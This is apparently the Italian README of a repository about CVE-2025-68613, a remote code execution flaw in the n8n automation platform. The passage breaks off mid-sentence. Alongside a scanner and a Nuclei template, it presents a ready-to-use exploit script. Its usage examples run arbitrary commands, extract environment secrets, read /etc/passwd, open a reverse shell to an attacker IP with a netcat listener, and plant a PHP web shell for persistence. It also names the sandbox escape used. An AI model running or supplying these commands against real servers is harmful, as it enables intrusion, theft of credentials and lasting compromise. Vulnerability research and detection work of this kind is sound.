🚨 CVE-2025-68613: Vulnerabilità RCE critica in n8n

Indice dei contenuti

1. Panoramica
2. Che cos'è n8n?
3. Nozioni di base sulla vulnerabilità
4. Dettagli tecnici
5. Versioni interessate
6. Meccanismi di sfruttamento
7. Impatto nel mondo reale
8. Metodi di rilevamento
9. Rimedi e mitigazione
10. Risorse e riferimenti

---

Panoramica

CVE-2025-68613 è una vulnerabilità critica di esecuzione di codice remoto (RCE) scoperta in n8n, una popolare piattaforma open-source di automazione dei flussi di lavoro. Questa vulnerabilità consente agli utenti autenticati di eseguire codice arbitrario sul server, portando potenzialmente al completo compromesso del sistema.

Informazioni rapide

• ID CVE: CVE-2025-68613
• Punteggio CVSS: 9.9 - 10.0 (Critico)
• Tipo di vulnerabilità: Injection di espressioni → Esecuzione di codice remoto
• CWE: CWE-913 (Controllo improprio delle risorse di codice gestite dinamicamente)
• Vettore di attacco: Rete
• Autenticazione richiesta: Sì (privilegi bassi - nessun accesso admin necessario) |- Stato: Proof of Concept disponibile (verificato funzionante su v1.121.0)

---

Che cos'è n8n?

n8n è una piattaforma open-source di automazione dei flussi di lavoro che consente agli utenti di:

• Collegare varie API, database e servizi
• Automatizzare processi aziendali ripetitivi
• Creare flussi di lavoro complessi senza competenze estese di programmazione
• Distribuire in locale (on-premises) o nel cloud

Perché n8n è infrastruttura critica

Le organizzazioni usano n8n per:

• Integrare database con servizi cloud
• Automatizzare pipeline di elaborazione dati
• Collegare CRM, ERP e sistemi interni
• Gestire dati sensibili e credenziali API

Questo ruolo centrale nell'infrastruttura IT rende le vulnerabilità particolarmente pericolose, poiché possono fornire agli aggressori l'accesso a intere reti e a dati sensibili.

---

Strumenti in questo repository

Questo repository include strumenti pronti all'uso per il rilevamento delle vulnerabilità e i test di sfruttamento:

1. Scanner: cve-2025-68613-scanner.py

Scopo: Rilevamento sicuro e non sfruttante delle istanze n8n vulnerabili

Caratteristiche:

• Rilevamento passivo della versione dalle risposte HTTP
• Nessuna autenticazione richiesta
• Nessuna esecuzione di payload
• Controlla più percorsi comuni (/, /rest/settings, /healthz, /api/v1/health)
• Sicuro per valutazioni di sicurezza autorizzate

Utilizzo:```bash python3 cve-2025-68613-scanner.py -u http://target:5678

**Output**:
- Codice di uscita 0: Non vulnerabile
- Codice di uscita 1: Versione indeterminata (potrebbe essere patchata o nascosta)
- Codice di uscita 2: Versione vulnerabile rilevata

### 2. Template Nuclei: `CVE-2025-68613.yaml`
**Scopo**: Rilevamento automatico delle vulnerabilità e test di base di valutazione delle espressioni

**Caratteristiche**:
- Richiede un token di autenticazione valido
- Verifica la capacità di iniezione delle espressioni
- Tenta di leggere il contesto globale di Node.js (process.platform)
- Crea workflow di test per validare il vettore RCE
- Classificazione di gravità critica CVSS 10.0

**Utilizzo**:```bash
# Single target with known token
nuclei -t CVE-2025-68613.yaml -u http://target:5678 -v

# Multiple targets
nuclei -t CVE-2025-68613.yaml -l targets.txt

3. Exploit completo: exploit_cve-2025-68613.py

Scopo: Proof-of-concept completo di sfruttamento con molteplici payload di attacco

Caratteristiche:

• Gestione completa dell'autenticazione
• Molteplici payload di sfruttamento:
  • info: Raccoglie informazioni di sistema (OS, architettura, versione di Node.js, utente corrente)
  • cmd: Esegue comandi di sistema arbitrari
  • env: Estrae tutte le variabili d'ambiente (rivela credenziali, chiavi API, segreti)
  • read: Legge file sensibili dal filesystem (chiavi SSH, file di configurazione, ecc.)
  • write: Scrive file sul filesystem (persistenza, backdoor, ecc.)
  • revshell: Stabilisce una connessione reverse shell per accesso interattivo
• Pulizia automatica del workflow
• Gestione degli errori e report sullo stato

Requisiti:

• Credenziali utente n8n valide (email/password)
• Python 3.6+ con libreria requests
• Accesso di rete all'istanza n8n target

Installazione:```bash pip install requests chmod +x exploit_cve-2025-68613.py

**Esempi di utilizzo**:```bash
# Gather system information
python3 exploit_cve-2025-68613.py -u http://target:5678 \  
  -e [email protected] -p password --payload info

# Execute system command (whoami)
python3 exploit_cve-2025-68613.py -u http://target:5678 \  
  -e [email protected] -p password --payload cmd --command "whoami"

# Extract all environment variables (credentials, API keys)
python3 exploit_cve-2025-68613.py -u http://target:5678 \  
  -e [email protected] -p password --payload env

# Read sensitive files
python3 exploit_cve-2025-68613.py -u http://target:5678 \  
  -e [email protected] -p password --payload read --file "/etc/passwd"

# Establish reverse shell (requires netcat listener)
# On attacker machine: nc -lvnp 4444
python3 exploit_cve-2025-68613.py -u http://target:5678 \  
  -e [email protected] -p password --payload revshell --lhost 10.10.14.5 --lport 4444

# Write a web shell for persistence
python3 exploit_cve-2025-68613.py -u http://target:5678 \  
  -e [email protected] -p password --payload write \  
  --file "/tmp/shell.php" --content '<?php system($_GET["cmd"]); ?>'

Come Funziona:

1. Si autentica a n8n utilizzando le credenziali fornite
2. Crea un workflow dannoso con un payload di injection nelle espressioni
3. Il payload fuoriesce dalla sandbox delle espressioni utilizzando this.constructor.constructor()
4. Esegue il payload tramite process.platform o altre API Node.js
5. Recupera i risultati dall'esecuzione del workflow
6. Esegue la pulizia eliminando il workflow di test

Codici di Uscita:

• 0: Sfruttamento riuscito
• 1: Autenticazione o sfruttamento falliti

---

Nozioni di base sulla vulnerabilità

Qual è il problema?

In termini semplici: n8n consente agli utenti di scrivere espressioni nei workflow per elaborare i dati dinamicamente. Tuttavia, queste espressioni vengono valutate senza un adeguato sandboxing, consentendo agli attaccanti di uscire dal contesto di esecuzione previsto ed eseguire codice arbitrario sul server.

Il problema centrale

Quando crei un workflow in n8n, puoi utilizzare "espressioni" per manipolare i dati. Queste espressioni dovrebbero essere eseguite in un ambiente ristretto. Tuttavia, la vulnerabilità dimostra che queste espressioni possono accedere al sistema sottostante, consentendo a un attaccante di: